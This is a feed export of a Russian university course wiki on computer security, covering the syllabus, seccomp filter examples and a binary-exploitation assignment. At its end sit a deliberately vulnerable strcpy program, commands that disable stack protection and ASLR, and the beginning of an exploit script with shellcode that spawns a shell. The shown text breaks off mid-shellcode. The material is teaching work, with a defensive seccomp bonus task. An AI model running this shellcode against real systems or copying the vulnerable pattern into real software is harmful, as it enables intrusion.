# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Криптография. Введение и история]&lt;br /&gt;
# (27.11) [Криптография. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) [[Продвинутые бинарные уязвимости, Webassembly.]]&lt;br /&gt;
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30733</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=30733"/>
		<updated>2018-11-14T04:27:44Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Криптография. Введение и история]&lt;br /&gt;
# (27.11) [Криптография. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/SDLC|Безопасная разработка.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) &lt;br /&gt;
# (27.11) [[Безопасность_компьютерных_систем_2018/XOROR|Атаки на блочные шифры.]]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/SECCOMP&amp;diff=30724</id>
		<title>Безопасность компьютерных систем 2018/SECCOMP</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/SECCOMP&amp;diff=30724"/>
		<updated>2018-11-13T12:17:33Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Новая страница: «== Linux seccomp == Ссылки для изучения:  # Рекомендуемая основная презентация (пригодится для вы…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Linux seccomp ==&lt;br /&gt;
Ссылки для изучения:&lt;br /&gt;
&lt;br /&gt;
# Рекомендуемая основная презентация (пригодится для выполнения бонусного задания к заданию 3): http://events.linuxfoundation.org/sites/events/files/slides/limiting_kernel_attack_surface_with_seccomp-ContainerCon.eu_2016-Kerrisk.pdf&lt;br /&gt;
# https://eigenstate.org/notes/seccomp&lt;br /&gt;
# Kafel - язык для конструирования политик seccomp (not an official Google product) https://github.com/google/kafel&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 1 ==&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
  int main () {&lt;br /&gt;
  pid_t pid;&lt;br /&gt;
  printf(&amp;quot;Step 1: no restrictions yet\n&amp;quot;);&lt;br /&gt;
  prctl (PR_SET_SECCOMP, SECCOMP_MODE_STRICT);&lt;br /&gt;
  printf (&amp;quot;Step 2: entering the strict mode. Only read(), write(), exit() and sigreturn() syscalls    are allowed\n&amp;quot;);&lt;br /&gt;
  pid = getpid ();&lt;br /&gt;
  printf (&amp;quot;!!YOU SHOULD NOT SEE THIS!! My PID = %d&amp;quot;, pid);&lt;br /&gt;
  return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 2 ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/fcntl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    pid_t pid;&lt;br /&gt;
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_TRAP);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sigreturn), 0);&lt;br /&gt;
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);&lt;br /&gt;
    printf (&amp;quot;No restrictions yet\n&amp;quot;);&lt;br /&gt;
    seccomp_load(ctx);&lt;br /&gt;
    pid = getpid();&lt;br /&gt;
    printf(&amp;quot;!! YOU SHOULD NOT SEE THIS!! My PID is%d\n&amp;quot;, pid);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 3 ==&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;sys/fcntl.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;asm/unistd_64.h&amp;gt;&lt;br /&gt;
  static void install_filter ( void ) {&lt;br /&gt;
  struct sock_filter filter [] = {&lt;br /&gt;
  BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,&lt;br /&gt;
  ( offsetof ( struct seccomp_data , arch ))) ,&lt;br /&gt;
  BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K ,&lt;br /&gt;
  AUDIT_ARCH_X86_64 , 1 , 0) ,&lt;br /&gt;
  BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL ) ,&lt;br /&gt;
  BPF_STMT ( BPF_LD | BPF_W | BPF_ABS ,&lt;br /&gt;
  ( offsetof ( struct seccomp_data , nr ))) ,&lt;br /&gt;
  BPF_JUMP ( BPF_JMP | BPF_JEQ | BPF_K , __NR_open ,&lt;br /&gt;
 1 , 0) ,&lt;br /&gt;
  BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_ALLOW ) ,&lt;br /&gt;
  BPF_STMT ( BPF_RET | BPF_K , SECCOMP_RET_KILL )&lt;br /&gt;
  };&lt;br /&gt;
  struct sock_fprog prog = {&lt;br /&gt;
  .len = ( unsigned short ) ( sizeof ( filter ) /&lt;br /&gt;
  sizeof ( filter [0])) ,&lt;br /&gt;
  . filter = filter ,&lt;br /&gt;
  };&lt;br /&gt;
  syscall( __NR_seccomp , SECCOMP_SET_MODE_FILTER , 0 , &amp;amp; prog );&lt;br /&gt;
 }&lt;br /&gt;
  int main (int argc , char ** argv ) {&lt;br /&gt;
   prctl ( PR_SET_NO_NEW_PRIVS , 1 , 0 , 0 , 0);&lt;br /&gt;
   install_filter ();&lt;br /&gt;
   open ( &amp;quot;/tmp/a&amp;quot; , O_RDONLY );&lt;br /&gt;
   printf ( &amp;quot;We shouldn ’t see this message \n&amp;quot; );&lt;br /&gt;
  exit ( EXIT_SUCCESS );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Тестовый пример 4 ==&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stddef.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/prctl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;linux/filter.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/seccomp.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/audit.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define ArchField offsetof(struct seccomp_data, arch)&lt;br /&gt;
&lt;br /&gt;
#define Allow(syscall) \&lt;br /&gt;
    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)&lt;br /&gt;
&lt;br /&gt;
struct sock_filter filter[] = {&lt;br /&gt;
    /* validate arch */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),&lt;br /&gt;
    BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),&lt;br /&gt;
&lt;br /&gt;
    /* load syscall */&lt;br /&gt;
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),&lt;br /&gt;
&lt;br /&gt;
    /* list of allowed syscalls */&lt;br /&gt;
    Allow(exit_group),  /* exits a processs */&lt;br /&gt;
    Allow(brk),     /* for malloc(), inside libc */&lt;br /&gt;
    Allow(mmap),        /* also for malloc() */&lt;br /&gt;
    Allow(munmap),      /* for free(), inside libc */&lt;br /&gt;
    Allow(write),       /* called by printf */&lt;br /&gt;
    Allow(fstat),       /* called by printf */&lt;br /&gt;
&lt;br /&gt;
    /* and if we don&#039;t match above, die */&lt;br /&gt;
    BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),&lt;br /&gt;
};&lt;br /&gt;
struct sock_fprog filterprog = {&lt;br /&gt;
    .len = sizeof(filter)/sizeof(filter[0]),&lt;br /&gt;
    .filter = filter&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char **argv) {&lt;br /&gt;
    char buf[1024];&lt;br /&gt;
&lt;br /&gt;
    /* set up the restricted environment */&lt;br /&gt;
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;amp;filterprog) == -1) {&lt;br /&gt;
        perror(&amp;quot;Could not start seccomp:&amp;quot;);&lt;br /&gt;
        exit(1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /* printf only writes to stdout, but for some reason it stats it. */&lt;br /&gt;
    printf(&amp;quot;hello there!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    if (argc &amp;gt; 1 &amp;amp;&amp;amp; strcmp(argv[1], &amp;quot;haxor&amp;quot;) == 0) {&lt;br /&gt;
        int fd = socket(AF_INET6, SOCK_STREAM, 0);&lt;br /&gt;
        /* ...and start sending spam */&lt;br /&gt;
    }&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=30723</id>
		<title>Безопасность компьютерных систем 2018/Задание 3</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=30723"/>
		<updated>2018-11-13T11:59:08Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из трёх частей:&lt;br /&gt;
&lt;br /&gt;
==== Format string ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо добиться печати строки бинарником &amp;quot;Congratulation! You have successfully solved level 1!&amp;quot; в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://blog.skullsecurity.org/2015/defcon-quals-babyecho-format-string-vulns-in-gory-detail]&lt;br /&gt;
&lt;br /&gt;
==== Stack buffer overflow ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этой части задания Вам необходимо прочитать содержимое файла &amp;quot;flag_1&amp;quot;. Решением является содержимое этого файла и код эксплойта.&lt;br /&gt;
&lt;br /&gt;
Материалы по теме: [https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/]&lt;br /&gt;
&lt;br /&gt;
==== Bonus ====&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
=== Файлы заданий ===&lt;br /&gt;
&lt;br /&gt;
Файлы задания можно взять тут: [https://yadi.sk/d/_ImkZtTIi-7DLA]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.&lt;br /&gt;
&lt;br /&gt;
=== Баллы ===&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.&lt;br /&gt;
&lt;br /&gt;
=== Дедлайн ===&lt;br /&gt;
&lt;br /&gt;
29.11.2018 включительно.&lt;br /&gt;
&lt;br /&gt;
=== Сдача решений ===&lt;br /&gt;
&lt;br /&gt;
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.&lt;br /&gt;
&lt;br /&gt;
=== Поломка заданий ===&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Бонусное задание по SECCOMP ==&lt;br /&gt;
&lt;br /&gt;
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.&lt;br /&gt;
&lt;br /&gt;
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).&lt;br /&gt;
==== Программа ====&lt;br /&gt;
   #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
   #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
   int badcpy(char *str) {&lt;br /&gt;
        register int i asm(&amp;quot;esp&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;$esp = %#010x\n&amp;quot;, i);&lt;br /&gt;
        char buffer[100];&lt;br /&gt;
        strcpy(buffer, str);&lt;br /&gt;
   }&lt;br /&gt;
   void main(int argc, char *argv[]) {&lt;br /&gt;
        badcpy(argv[1]);&lt;br /&gt;
        printf(&amp;quot;Done!\n&amp;quot;);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Собираем без stack-protector и включаем execstack:&lt;br /&gt;
&lt;br /&gt;
   gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c&lt;br /&gt;
&lt;br /&gt;
Отключаем ASLR:&lt;br /&gt;
&lt;br /&gt;
   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&lt;br /&gt;
==== Эксплойт (gensploit.py) ====&lt;br /&gt;
&lt;br /&gt;
   #!/usr/bin/python&lt;br /&gt;
   nopsled = &#039;\x90&#039; * 64&lt;br /&gt;
   shellcode = (&lt;br /&gt;
   &#039;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2&#039; +&lt;br /&gt;
   &#039;\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&#039; +&lt;br /&gt;
